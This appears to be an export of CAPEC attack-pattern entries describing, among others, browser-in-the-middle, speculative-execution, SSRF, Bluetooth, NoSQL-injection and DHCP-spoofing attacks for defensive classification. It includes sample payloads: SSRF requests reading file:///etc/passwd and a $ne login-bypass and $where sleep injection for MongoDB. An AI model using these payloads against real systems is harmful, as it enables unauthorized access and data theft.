  1. An adversary conducts a phishing attack and tricks a victim into installing a malicious browser plugin. The adversary then positions themself between the victim and their banking institution. The victim begins by initiating a funds transfer from their personal savings to their personal checking account. Using injected JavaScript, the adversary captures this request and modifies it to transfer an increased amount of funds to an account that they controls, before sending it to the bank. The bank processes the transfer and sends the confirmation notice back to the victim, which is instead intercepted by the adversary. The adversary modifies the confirmation to reflect the original transaction details and sends this modified message back to the victim. Upon receiving the confirmation, the victim assumes the transfer was successful and is unaware that their money has just been transferred to the adversary.
  2. In 2020, the Agent Tesla malware was leveraged to conduct AiTB attacks against organizations within the gas, oil, and other energy sectors. The malware was delivered via a spearphishing campaign and has the capability to form-grab, keylog, copy clipboard data, extract credentials, and capture screenshots. [REF-630]
  3. Boy in the browser attacks are a subset of AiTB attacks. Similar to AiTB attacks, the adversary must first trick the victim into installing a Trojan, either via social engineering or drive-by-download attacks. The malware then modifies the victim's "hosts" file in order to reroute web traffic from an intended website to an adversary-controlled website that mimics the legitimate website. The adversary is now able to observe, intercept, and/or modify all traffic, as in a traditional Adversary in the Middle attack (CAPEC-94). BiTB attacks are low-cost, easy to execute, and more difficult to detect since the malware often removes itself once the attack has concluded. [REF-631]
  4. Man in the Mobile attacks are a subset of AiTB attacks that target mobile device users. Like AiTB attacks, an adversary convinces a victim to install a Trojan mobile application on their mobile device, often under the guise of security. Once the victim has installed the application, the adversary can capture all SMS traffic to bypass SMS-based out-of-band authentication systems. [REF-632]

Experiment

  1. The adversary tricks the victim into installing the Trojan Horse malware onto their system.
  2. Techniques
    Conduct phishing attacks, drive-by malware installations, or masquerade malicious browser extensions as being legitimate.
  3. The adversary inserts themself into the communication channel initially acting as a routing proxy between the two targeted components.

Exploit

  1. The adversary observes, filters, or alters passed data of their choosing to gain access to sensitive information or to manipulate the actions of the two target components for their own purposes.
High
  • The adversary must install or convince a user to install a Trojan.
  • There are two components communicating with each other.
  • An attacker is able to identify the nature and mechanism of communication between the two target components.
  • Strong mutual authentication is not used between the two target components yielding opportunity for adversarial interposition.
  • For browser pivoting, the SeDebugPrivilege and a high-integrity process must both exist to execute this attack.
Medium: Tricking the victim into installing the Trojan is often the most difficult aspect of this attack. Afterwards, the remainder of this attack is fairly trivial. Stable Very High 3.9
94
Exploitation of Transient Instruction Execution Standard An adversary exploits a hardware design flaw in a CPU implementation of transient instruction execution to expose sensitive data and bypass/subvert access control over restricted resources. Typically, the adversary conducts a covert channel attack to target non-discarded microarchitectural changes caused by transient executions such as speculative execution, branch prediction, instruction pipelining, and/or out-of-order execution. The transient execution results in a series of instructions (gadgets) which construct covert channel and access/transfer the secret data. 2021-06-24 02:00:00 Capec: CAPEC-663
Cwe: CWE-1037
Cwe: CWE-1303
Cwe: CWE-1264
Reference_from_capec: REF-637
Reference_from_capec: REF-638
Reference_from_capec: REF-639
Reference_from_capec: REF-640
Reference_from_capec: REF-641
Reference_from_capec: REF-642
Reference_from_capec: REF-643
2022-02-22 01:00:00 2.1 Authorization:
  • Execute Unauthorized Commands
Access Control:
  • Bypass Protection Mechanism
Confidentiality:
  • Read Data
Software
Hardware
Software
  1. A web browser with user-privileges executes JavaScript code imbedded within a malicious website. The system does not disable shared buffers for the web browser and there is no restriction or check upon user-process execution of flush or evict instructions. The Javascript code executes vulnerable transient instructions upon system to cause microarchitectural changes that establish covert channel and transfer sensitive/secret data into shared cache from address space of either kernel, web browser or another executing process on the system.

Explore

  1. Survey target application and relevant OS shared code libraries: Adversary identifies vulnerable transient instruction sets and the code/function calls to trigger them as well as instruction sets or code fragments (gadgets) to perform attack.
  2. Techniques
    Utilize Disassembler and Debugger tools to examine and trace instruction set execution of source code and shared code libraries on a system.
  3. Explore cache and identify impacts: Utilize tools to understand the impact of transient instruction execution upon address spaces and CPU operations.
  4. Techniques
    Run OS or application specific tools that examine the contents of cache.

Experiment

  1. Cause conditions for identified transient instruction set execution: Adversary ensures that specific code/instructions of the target process are executed by CPU, so desired transient instructions are executed.
  2. Cause specific secret data to be cached from restricted address space: Executed instruction sets (gadgets) in target address space, initially executed via adversary-chosen transient instructions sets, establish covert channel and transfer secret data across this channel to cache.
  3. Techniques
    Prediction-based - adversary trains CPU to incorrectly predict/speculate conditions for instruction execution to be true, hence executing adversary-chosen transient instructions. These prediction-based methods include: Pattern History Table (PHT)/Input Validation Bypass, Branch Target Buffer (BTB)/Branch Target Injection, Return Stack Buffer (RSB)/Return Address Injection, and Store To Load (STL)/Speculative Store Bypass.
    Exception/Fault-based - adversary has CPU execute transient instructions that raise an exception allowing inaccessible memory space to be accessed via out-of-order execution. These exception/fault-based methods include: Supervisor-only Bypass, Virtual Translation Bypass, System Register Bypass, FPU Register Bypass, Read-only Bypass, Protection Key Bypass, and Bounds Check Bypass.

Exploit

  1. Perform covert channel attack to obtain/access secret data: Adversary process code removes instructions/data from shared cache set, waits for target process to reinsert them back into cache, to identify location of secret data via a timing method. Adversary continuously repeat this process to identify and access entirety of targeted secret data.
  2. Techniques
    Flush+Reload - adversary frequently flushes targeted memory cache line using a dedicated machine flush instruction, and uses another process to measure time taken for CPU to load victim secret data.
    Evict+Time - adversary causes victim to load target set into cache and measures time for victim process to load this data, setting a baseline. Adversary evicts a specified cache line and causes victim process to execute again, and measures any change in execution time, to determine if cache line was accessed.
    Prime+Probe - adversary primes cache by filling cache line(s) or set(s) with data, after some time victim process evicts this adversary data to replace it with secret data. The adversary then probes/accesses all the previously accessed cache lines detecting cache misses, which determine that their attacker data has been evicted and replaced with secret data from victim process.
Low
  • The adversary needs at least user execution access to a system and a maliciously crafted program/application/process with unprivileged code to misuse transient instruction set execution of the CPU.
  • C2C mechanism or direct access to victim system, capable of dropping malicious program and collecting covert channel attack data.
  • Malicious program capable of triggering execution of transient instructions or vulnerable instruction sequences of victim program and performing a covert channel attack to gather data from victim process memory space. Ultimately, the speed with which an attacker discovers a secret is directly proportional to the computational resources of the victim machine.
High: Detailed knowledge on compiled binaries and operating system shared libraries of instruction sequences, and layout of application and OS/Kernel address spaces for data leakage. Stable Very High 3.9
696
Server Side Request Forgery Standard An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf. 2021-06-24 02:00:00 Capec: CAPEC-664
Cwe: CWE-918
Cwe: CWE-20
Reference_from_capec: REF-644
Reference_from_capec: REF-645
Reference_from_capec: REF-646
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Availability:
  • Modify Data
  • Resource Consumption
Confidentiality:
  • Modify Data
  • Read Data
Software
  1. An e-commerce website allows a customer to filter results by specific categories. When the customer selects the category of choice, the web shop queries a back-end service to retrieve the requested products. The request may look something like: POST /product/category HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 200 vulnerableService=http://vulnerableshop.net:8080/product/category/check%3FcategoryName%3DsomeCategory A malicious user can modify the request URL to look like this instead: POST /product/category HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 200 vulnerableService=http://localhost/server-status or vulnerableService = file:///etc/passwd or vulnerableService=dict://localhost:12345/info If the exploit is successful, the server may return the data requested by the adversary root:!:0:0::/:/usr/bin/ksh daemon:!:1:1::/etc: bin:!:2:2::/bin: sys:!:3:3::/usr/sys: adm:!:4:4::/var/adm: uucp:!:5:5::/usr/lib/uucp: guest:!:100:100::/home/guest: nobody:!:4294967294:4294967294::/: lpd:!:9:4294967294::/: lp::11:11::/var/spool/lp:/bin/false invscout::200:1::/var/adm/invscout:/usr/bin/ksh nuucp::6:5:uucp login user:/var/spool/uucppublic:/usr/sbin/uucp/uucico paul:!:201:1::/home/paul:/usr/bin/ksh jdoe::202:1:My name:/home/myname:/usr/bin/ksh
  2. The CallStranger attack is an observed example of SSRF. It specifically targets the UPnP (Universal Plug and Play) protocol used by various network devices and gaming consoles. To execute the attack, an adversary performs a scan of the LAN to discover UPnP enabled devices, and subsequently a list of UPnP services they use. Once the UPnP service endpoints are listed, a vulnerability in the UPnP protocol is used to send these endpoints as encrypted to a verification server via the UPnP Callback method. Because the encryption is done on the client side, the server returns an encrypted list of services which is decrypted on the client side. The adversary then has a list of services running the vulnerable UPnP protocol, which the adversary can leverage to make spoofed requests. [REF-646]

Explore

  1. Find target application: Find target web application that accepts a user input and retrieves data from the server

Experiment

  1. Examine existing application requests: Examine HTTP/GET requests to view the URL query format. Adversaries test to see if this type of attack is possible through weaknesses in an application's protection to Server Side Request Forgery
  2. Techniques
    Attempt manipulating the URL to retrieve an error response/code from the server to determine if URL/request validation is done.
    Use a list of XSS probe strings to specify as parameters to known URLs. If possible, use probe strings with unique identifiers.
    Create a GET request with a common server file path such as /etc/passwd as a parameter and examine output.

Exploit

  1. Malicious request: Adversary crafts a malicious URL request that assumes the privilege level of the server to query internal or external network services and sends the request to the application
High
  • Server must be running a web application that processes HTTP requests.
  • [None] No specialized resources are required to execute this type of attack.
High: The adversary will be required to access internal resources, extract information, or leverage the services running on the server to perform unauthorized actions such as traversing the local network or routing a reflected TCP DDoS through them. Medium: The adversary will have to detect the vulnerability through an intermediary service or specify maliciously crafted URLs and analyze the server response. Stable High 3.9
115
BlueSmacking Standard An adversary uses Bluetooth flooding to transfer large packets to Bluetooth enabled devices over the L2CAP protocol with the goal of creating a DoS. This attack must be carried out within close proximity to a Bluetooth enabled device. 2021-06-24 02:00:00 Capec: CAPEC-666
Cwe: CWE-404
Attack: T1498.001
Attack: T1499.001
Reference_from_capec: REF-655
2022-09-29 02:00:00 2.1 Availability:
  • Unreliable Execution
  • Resource Consumption
Communications
Software

Explore

  1. Scan for Bluetooth Enabled Devices: Using BlueZ along with an antenna, an adversary searches for devices with Bluetooth on.
  2. Techniques
    Note the MAC address of the device you want to attack.

Experiment

  1. Change L2CAP Packet Length: The adversary must change the L2CAP packet length to create packets that will overwhelm a Bluetooth enabled device.
  2. Techniques
    An adversary downloads and installs BlueZ, the standard Bluetooth utility package for Linux.

Exploit

  1. Flood: An adversary sends the packets to the target device, and floods it until performance is degraded.
Medium
  • The system/application has Bluetooth enabled.
Low: An adversary only needs a Linux machine along with a Bluetooth adapter, which is extremely common. Draft Medium 3.9
125
Key Negotiation of Bluetooth Attack (KNOB) Standard An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication. 2021-06-24 02:00:00 Capec: CAPEC-668
Cwe: CWE-425
Cwe: CWE-285
Cwe: CWE-693
Attack: T1565.002
Reference_from_capec: REF-657
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Bypass Protection Mechanism
Access Control:
  • Bypass Protection Mechanism
Confidentiality:
  • Read Data
  • Bypass Protection Mechanism
Software
  1. Given users Alice, Bob and Charlie (Charlie being the attacker), Alice and Bob begin to agree on an encryption key when connecting. While Alice sends a message to Bob that an encryption key with 16 bytes of entropy should be used, Charlie changes this to 1 and forwards the request to Bob and continues forwarding these packets until authentication is successful.

Explore

  1. Discovery: Using an established Person in the Middle setup, search for Bluetooth devices beginning the authentication process.
  2. Techniques
    Use packet capture tools.

Experiment

  1. Change the entropy bits: Upon recieving the initial key negotiation packet from the master, the adversary modifies the entropy bits requested to 1 to allow for easy decryption before it is forwarded.

Exploit

  1. Capture and decrypt data: Once the entropy of encryption is known, the adversary can capture data and then decrypt on their device.
Low
  • Person in the Middle network setup.
  • Bluetooth adapter, packet capturing capabilities.
Medium: Ability to modify packets. Draft High 3.9
115
Alteration of a Software Update Standard An adversary with access to an organization’s software update infrastructure inserts malware into the content of an outgoing update to fielded systems where a wide range of malicious effects are possible. With the same level of access, the adversary can alter a software update to perform specific malicious acts including granting the adversary control over the software’s normal functionality. 2021-06-24 02:00:00 Capec: CAPEC-669
Attack: T1195.002
Reference_from_capec: REF-658
Reference_from_capec: REF-659
Reference_from_capec: REF-660
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Execute Unauthorized Commands
Access Control:
  • Gain Privileges
Confidentiality:
  • Read Data
Social Engineering
Supply Chain
Software
  1. A subcontractor to a software developer injects maliciously altered software updates into an automated update process that distributes to government and commercial customers software containing a hidden backdoor.

Explore

  1. Identify software with frequent updates: The adversary must first identify a target software that has updates at least with some frequency, enough that there is am update infrastructure.

Experiment

  1. Gain access to udpate infrastructure: The adversary must then gain access to the organization's software update infrastructure. This can either be done by gaining remote access from outside the organization, or by having a malicious actor inside the organization gain access. It is often easier if someone within the organization gains access.

Exploit

  1. Alter the software update: Through access to the software update infrastructure, an adversary will alter the software update by injecting malware into the content of an outgoing update.
Medium
  • An adversary would need to have penetrated an organization’s software update infrastructure including gaining access to components supporting the configuration management of software versions and updates related to the software maintenance of customer systems.
High: Skills required include the ability to infiltrate the organization’s software update infrastructure either from the Internet or from within the organization, including subcontractors, and be able to change software being delivered to customer/user systems in an undetected manner. Draft High 3.9
184
Retrieve Data from Decommissioned Devices Standard An adversary obtains decommissioned, recycled, or discarded systems and devices that can include an organization’s intellectual property, employee data, and other types of controlled information. Systems and devices that have reached the end of their lifecycles may be subject to recycle or disposal where they can be exposed to adversarial attempts to retrieve information from internal memory chips and storage devices that are part of the system. 2021-06-24 02:00:00 Capec: CAPEC-675
Cwe: CWE-1266
Attack: T1052
Reference_from_capec: REF-663
Reference_from_capec: REF-717
2023-01-24 01:00:00 2.1 Accountability:
  • Bypass Protection Mechanism
Supply Chain
Software
Physical Security
Hardware
  1. A company is contracted by an organization to provide data destruction services for solid state and hard disk drives being discarded. Prior to destruction, an adversary within the contracted company copies data from select devices, violating the data confidentiality requirements of the submitting organization.
None Medium
  • An adversary needs to have access to electronic data processing equipment being recycled or disposed of (e.g., laptops, servers) at a collection location and the ability to take control of it for the purpose of exploiting its content.
High: An adversary may need the ability to mount printed circuit boards and target individual chips for exploitation. Medium: An adversary needs the technical skills required to extract solid state drives, hard disk drives, and other storage media to host on a compatible system or harness to gain access to digital content. Stable Medium 3.9
116
NoSQL Injection Standard An adversary targets software that constructs NoSQL statements based on user input or with parameters vulnerable to operator replacement in order to achieve a variety of technical impacts such as escalating privileges, bypassing authentication, and/or executing code. NoSQL database calls are written in an application's programming language, via a custom API call, or formatted in a common convention (e.g., JSON, XML, etc.), any of which the adversary can exploit to achieve the aforementioned goals. NoSQL attacks usually result from improper sanitization and validation of data that originates from a user, either via special character or JavaScript injection. In both cases, the adversary crafts input strings so that when the target software constructs NoSQL statements based on the input, the resulting NoSQL statement performs actions other than those intended by the application. However, unlike traditional SQL Injection attacks, NoSQL injection attacks can also occur in instances where the application does not rely upon user input, as is the case in operator replacements. This entails the adversary overriding reserved NoSQL variable names with ones that have been modified with malicious functionality (e.g., $where in MongoDB). In all cases, depending on the NoSQL API and data model used, successful injection can cause information disclosure, data modification, and code execution at the application level. Note: NoSQL Injection attacks are executed within a procedural language (e.g., C, C++, Perl), as opposed to the declarative SQL language itself. As a result, NoSQL injection attacks can potentially result in greater impacts than traditional SQL Injection attacks [REF-668]. 2021-10-21 02:00:00 Capec: CAPEC-676
Cwe: CWE-943
Cwe: CWE-1286
Reference_from_capec: REF-668
Reference_from_capec: REF-669
Reference_from_capec: REF-670
Reference_from_capec: REF-671
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Read Data
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Gain Privileges
Software
  1. The following examples primarily cite MongoDB, PHP, and NodeJS attacks due to their prominence and popularity. However, please note that these attacks are not exclusive to this NoSQL instance, programming language, or runtime framework. Within NodeJS, Login Bypass attacks are possible via MongoDB if user-input is not properly validated and sanitized [REF-670]. //NodeJS with Express.jsdb.collection('users').find({"user": req.query.user,"password": req.query.password}); The above code works fine if the user were to submit a query like the following: https://example.org/login?user=patrick&password;=1234 But an adversary could submit a malicious query such as the below, which would be interpreted by the code as follows: https://example.org/login?user=patrick&password;[$ne]= //NodeJS with Express.jsdb.collection('users').find({"user": bob,"password": {"≠": ""}}); This will result in a Login Bypass attack, as the query will succeed for all values where Bob's password is not an empty string.
  2. MongoDB instances are also vulnerable to JavaScript Injection Attacks when user input is not properly validated and sanitized. //PHP with MongoDBdb.collection.find({$where: function() {return (this.username == $username) } } ); If the user properly specifies a username, then this code will execute as intended. However, an adversary can inject JavaScript into the "$username" variable to achieve a NoSQL Injection attack as follows: //PHP with MongoDBdb.collection.find({$where: function() {return (this.username == 'foo'; sleep(5000) ) } } ); This will result in the server sleeping for 5 seconds if the attack was successful. An adversary could supply a larger value to deny service to the application.
  3. If leveraging PHP with MongoDB, operator replacement attacks are possible if special query operators are not properly addressed. The below example from OWASP's "Test for NoSQL Injection" displays a simple case of how this could occur.[REF-668] db.myCollection.find({$where: function() {return obj.credits - obj.debits < 0; } } ); Even though the above query does not depend on any user input, it is vulnerable to a NoSQL injection attack via operator replacement on the "$where" keyword. In this case, the adversary could exploit MongoDB in the following manner: $where: function() { //arbitrary JavaScript here }

Explore

  1. Survey target application: Due to the number of NoSQL databases available and the numerous language/API combinations of each, the adversary must first survey the target application to learn what technologies are being leveraged and how they interact with user-driven data.
  2. Techniques
    Determine the technology stack leveraged by the target application, such as the application server, drivers, frameworks, APIs, and databases being utilized.
    Identify areas of the application that interact with user input and may be involved with NoSQL queries.

Experiment

  1. Identify user-controllable input susceptible to injection: After identifying the technology stack being used and where user-driven input is leveraged, determine the user-controllable input susceptible to injection such as authentication or search forms. For each user-controllable input that the adversary suspects is vulnerable to NoSQL injection, attempt to inject characters or keywords that have special meaning in the given NoSQL database or language (e.g., "$ne" for MongoDB or "$exists" for PHP/MongoDB), or JavaScript that can be executed within the application. The goal is to create a NoSQL query with an invalid syntax.
  2. Techniques
    Use web browser to inject input through text fields or through HTTP GET parameters.
    Use a web application debugging tool such as Tamper Data, TamperIE, WebScarab,etc. to modify HTTP POST parameters, hidden fields, non-freeform fields, etc.
    Use network-level packet injection tools such as netcat to inject input
    Use modified client (modified by reverse engineering) to inject input.
  3. Experiment with NoSQL Injection vulnerabilities: After determining that a given input is vulnerable to NoSQL Injection, hypothesize what the underlying query looks like. Iteratively try to add logic to the query to extract information from the database, modify/delete information in the database, or execute commands on the server.
  4. Techniques
    Use public resources such as OWASP's "Testing for NoSQL Injection" [REF-668] or Null Sweep's "NoSQL Injection Cheatsheet" [REF-669] and try different approaches for adding logic to NoSQL queries.
    Iteratively add logic to the NoSQL query and use detailed error messages from the server to debug the query.
    Attempt an HTTP Parameter Pollution attack to replace language-specific keywords, such as "where" within PHP [CAPEC-460].

Exploit

  1. Exploit NoSQL Injection vulnerability: After refining and adding various logic to NoSQL queries, craft and execute the underlying NoSQL query that will be used to attack the target system.
  2. Techniques
    Craft and Execute underlying NoSQL query
High
  • Awareness of the technology stack being leveraged by the target application.
  • NoSQL queries used by the application to store, retrieve, or modify data.
  • User-controllable input that is not properly validated by the application as part of NoSQL queries.
  • Target potentially susceptible to operator replacement attacks.
  • None: No specialized resources are required to execute this type of attack.
Low: For keyword and JavaScript injection attacks, it is fairly simple for someone with basic NoSQL knowledge to perform NoSQL injection, once the target's technology stack has been determined. Medium: For operator replacement attacks, the adversary must also have knowledge of HTTP Parameter Pollution attacks and how to conduct them. Stable High 3.9
248
Exploitation of Firmware or ROM Code with Unpatchable Vulnerabilities Standard An adversary may exploit vulnerable code (i.e., firmware or ROM) that is unpatchable. Unpatchable devices exist due to manufacturers intentionally or inadvertently designing devices incapable of updating their software. Additionally, with updatable devices, the manufacturer may decide not to support the device and stop making updates to their software. When a vulnerability is found in a device that has no means of patching, the attack may be used against an entire class of devices. Devices from the same manufacturer often use similar or identical firmware, which could lead to widespread attacks. Devices of this nature are prime targets for botnet attacks. Consumer devices are frequently targeted for this attack due to the complexities of updating firmware once manufacturers no longer have physical access to a device. When exploiting a found vulnerability, adversaries often try to gain root access on a device. This allows them to use the device for any malicious purpose. Some example exploits are stealing device data, using the device for a ransomware attack, or recruiting the device for a botnet. 2022-09-29 02:00:00 Capec: CAPEC-682
Cwe: CWE-1277
Cwe: CWE-1310
Reference_from_capec: REF-723
Reference_from_capec: REF-724
Reference_from_capec: REF-725
Reference_from_capec: REF-726
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Read Data
Software
Hardware
  1. An IoT company comes out with a line of smart products for home use such as home cameras, vacuums, and smart bulbs. The products become popular, and millions of consumers install these devices in their homes. All the devices use a custom module for encryption that is stored on a ROM chip, which is immutable memory and can't be changed. An adversary discovers that there is a vulnerability in the encryption module code that allows authentication bypass, gaining access to any device. The adversary then develops botnet code that is remotely downloaded onto the infected devices. This code scans the internet for nearby devices from the same product line and exploits the vulnerability, loading the botnet code onto these new devices. Over time, the adversary now has a botnet of devices that can carry out malicious activity such as a DDoS attacks. Once the vulnerability is found, it is impossible to remediate because the vulnerable code is unable to be updated.
  2. Older smartphones can become out of date and manufacturers may stop putting out security updates as they focus on newer models. If an adversary discovers a vulnerability in an old smartphone there is a chance that a security update will not be made to mitigate it. This leaves anyone using the old smartphone vulnerable.

Explore

  1. Determine vulnerable firmware or ROM code: An adversary will attempt to find device models that are known to have unpatchable firmware or ROM code, or are deemed “end-of-support” where a patch will not be made. The adversary looks for vulnerabilities in firmware or ROM code for the identified devices, or looks for devices which have known vulnerabilities
  2. Techniques
    Many botnets use wireless scanning to discover nearby devices that might have default credentials or commonly used passwords. Once these devices are infected, they can search for other nearby devices and so on.

Experiment

  1. Determine plan of attack: An adversary identifies a specific device/model that they wish to attack. They will also investigate similar devices to determine if the vulnerable firmware or ROM code is also present.

Exploit

  1. Carry out attack: An adversary exploits the vulnerable firmware or ROM code on the identified device(s) to achieve their desired goal.
  2. Techniques
    Install malware on a device to recruit it for a botnet.
    Install malware on the device and use it for a ransomware attack.
    Gain root access and steal information stored on the device.
    Manipulate the device to behave in unexpected ways which would benefit the adversary.
Medium
  • Awareness of the hardware being leveraged.
  • Access to the hardware being leveraged, either physically or remotely.
High: Ability to identify physical entry points such as debug interfaces if the device is not being accessed remotely Medium: Knowledge of various wireless protocols to enable remote access to vulnerable devices Draft High 3.9
212
Spoof Open-Source Software Metadata Standard An adversary spoofs open-source software metadata in an attempt to masquerade malicious software as popular, maintained, and trusted. Due to open-source software's popularity, it serves as a desirable attack- vector for adversaries since a single malicious component may result in the exploitation of numerous systems/applications. Adversaries may, therefore, spoof the metadata pertaining to the open-source software in order to trick victims into downloading and using their malicious software. Examples of metadata that may be spoofed include: Owner of the software (e.g., repository or package owner) Author(s) of repository commits Frequency of repository commits Date/Time of repository commits Package or Repository "stars" Once the malicious software component has been integrated into an underlying application or executed on a system, the adversary is ultimately able to achieve numerous negative technical impacts within the system/application. This often occurs without any indication of compromise. 2022-09-29 02:00:00 Capec: CAPEC-691
Cwe: CWE-494
Attack: T1195.001
Attack: T1195.002
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Execute Unauthorized Commands
  • Alter Execution Logic
  • Gain Privileges
Access Control:
  • Execute Unauthorized Commands
  • Alter Execution Logic
  • Gain Privileges
Accountability:
  • Hide Activities
Social Engineering
Supply Chain
Software
  1. An adversary provides a malicious open-source library, claiming to provide extended logging features and functionality, and spoofs the metadata with that of a widely used legitimate library. The adversary then tricks victims into including this library in their underlying application. Once the malicious software is incorporated into the application, the adversary is able to manipulate and exfiltrate log data.
None Medium
630
  • Identification of a popular open-source component whose metadata is to be spoofed.
Medium: Ability to spoof a variety of software metadata to convince victims the source is trusted. Stable High 3.9
690
System Location Discovery Standard An adversary collects information about the target system in an attempt to identify the system's geographical location. Information gathered could include keyboard layout, system language, and timezone. This information may benefit an adversary in confirming the desired target and/or tailoring further attacks. 2022-09-29 02:00:00 Capec: CAPEC-694
Cwe: CWE-497
Attack: T1614
Reference_from_capec: REF-727
Reference_from_capec: REF-728
Reference_from_capec: REF-729
Reference_from_capec: REF-730
Reference_from_capec: REF-731
2022-09-29 02:00:00 2.1 Confidentiality:
  • Read Data
Communications
Software

Explore

  1. System Locale Information Discovery: The adversary examines system information from various sources such as registry and native API functions and correlates the gathered information to infer the geographical location of the target system
  2. Techniques
    Registry Query: Query the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ContentIndex\Language\Language_Dialect on Windows to obtain system language, Computer\HKEY_CURRENT_USER\Keyboard Layout\Preload to obtain the hexadecimal language IDs of the current user's preloaded keyboard layouts, and Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TimeZoneInformation to obtain the system timezone configuration
    Native API Requests: Parse the outputs of Windows API functions GetTimeZoneInformation, GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList and GetUserDefaultLangID to obtain information about languages, keyboard layouts, and timezones installed on the system or on macOS or Linux systems, query locale to obtain the $LANG environment variable and view keyboard layout information or use timeanddatectl status to show the system clock settings.
    Read Configuration Files: For macOS and Linux-based systems, view the /etc/vconsole.conf file to get information about the keyboard mapping and console font.
High
  • The adversary must have some level of access to the system and have a basic understanding of the operating system in order to query the appropriate sources for relevant information.
  • The adversary requires access to the target's operating system tools to query relevant system information. On windows, registry queries can be conducted with powershell, wmi, or regedit. On Linux or macOS, queries can be performed with through a shell.
Low: The adversary must know how to query various system sources of information respective of the system's operating system to obtain the relevant information. Stable Very Low 3.9
169
DHCP Spoofing Standard An adversary masquerades as a legitimate Dynamic Host Configuration Protocol (DHCP) server by spoofing DHCP traffic, with the goal of redirecting network traffic or denying service to DHCP. DHCP is broadcast to the entire Local Area Network (LAN) and does not have any form of authentication by default. Therefore, it is susceptible to spoofing. An adversary with access to the target LAN can receive DHCP messages; obtaining the topology information required to potentially manipulate other hosts' network configurations. To improve the likelihood of the DHCP request being serviced by the Rogue server, an adversary can first starve the DHCP pool. 2022-09-29 02:00:00 Capec: CAPEC-697
Cwe: CWE-923
Attack: T1557.003
Reference_from_capec: REF-737
Reference_from_capec: REF-738
Reference_from_capec: REF-739
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
  • Execute Unauthorized Commands
Availability:
  • Resource Consumption
Access Control:
  • Modify Data
  • Execute Unauthorized Commands
Confidentiality:
  • Read Data
Social Engineering
Software
Hardware
  1. In early 2019, Microsoft patched a critical vulnerability (CVE-2019-0547) in the Windows DHCP client which allowed remote code execution via crafted DHCP OFFER packets. [REF-739]

Explore

  1. Determine Exsisting DHCP lease: An adversary observes network traffic and waits for an existing DHCP lease to expire on a target machine in the LAN.
  2. Techniques
    Adversary observes LAN traffic for DHCP solicitations

Experiment

  1. Capture the DHCP DISCOVER message: The adversary captures "DISCOVER" messages and crafts "OFFER" responses for the identified target MAC address. The success of this attack centers on the capturing of and responding to these "DISCOVER" messages.
  2. Techniques
    Adversary captures and responds to DHCP "DISCOVER" messages tailored to the target subnet.

Exploit

  1. Compromise Network Access and Collect Network Activity: An adversary successfully acts as a rogue DHCP server by redirecting legitimate DHCP requests to itself.
  2. Techniques
    Adversary sends repeated DHCP "REQUEST" messages to quickly lease all the addresses within network's DHCP pool and forcing new DHCP requests to be handled by the rogue DHCP server.
Low
  • The adversary must have access to a machine within the target LAN which can send DHCP offers to the target.
  • The adversary requires access to a machine within the target LAN on a network which does not secure its DHCP traffic through MAC-Forced Forwarding, port security, etc.
Medium: The adversary must identify potential targets for DHCP Spoofing and craft network configurations to obtain the desired results. Stable High 3.9
194
Network Boundary Bridging Standard An adversary which has gained elevated access to network boundary devices may use these devices to create a channel to bridge trusted and untrusted networks. Boundary devices do not necessarily have to be on the network’s edge, but rather must serve to segment portions of the target network the adversary wishes to cross into. Network boundary devices are network devices such as routers and firewalls which segment networks by restricting certain types of traffic from flowing through the device. Network boundary devices are often directly accessible through a portal page for management purposes. An adversary’s goal when conducting network boundary bridging is to connect networks which are being segmented by the device. To do so, the adversary must first compromise the network boundary device. 2023-01-24 01:00:00 Capec: CAPEC-700
Attack: T1599
Reference_from_capec: REF-746
2023-01-24 01:00:00 2.1 Integrity:
  • Alter Execution Logic
  • Hide Activities
Authorization:
  • Alter Execution Logic
  • Hide Activities
Access Control:
  • Read Data
  • Bypass Protection Mechanism
Confidentiality:
  • Read Data
  • Bypass Protection Mechanism
Communications
Software
Hardware
  1. In November 2016, a Smart Install Exploitation Tool was released online which takes advantage of Cisco’s unauthenticated SMI management protocol to download a target’s current configuration files. Adversaries can use this tool to overwrite files to modify the device configurations, or upload maliciously modified OS or firmware to enable persistence. Once the adversary has access to the device’s configurations, they could modify it to redirect network traffic through other network infrastructure.

Explore

  1. Identify potential targets: An adversary identifies network boundary devices that can be compromised.
  2. Techniques
    The adversary traces network traffic to identify which devices the traffic flows through. Additionally, the adversary can identify devices using fingerprinting methods or locating the management page to determine identifying information about the device.

Experiment

  1. Compromise targets: The adversary must compromise the identified targets in the previous step.
  2. Techniques
    Once the device is identified, the adversary can attempt to input known default credentials for the device to gain access to the management console.
    Adversaries with sufficient identifying knowledge about the target device can exploit known vulnerabilities in network devices to obtain administrative access.

Exploit

  1. Bridge Networks: The adversary changes the configuration of the compromised network device to connect the networks the device was segmenting. Depending on the type of network boundary device and its capabilities, bridging can be implemented using various methods.
  2. Techniques
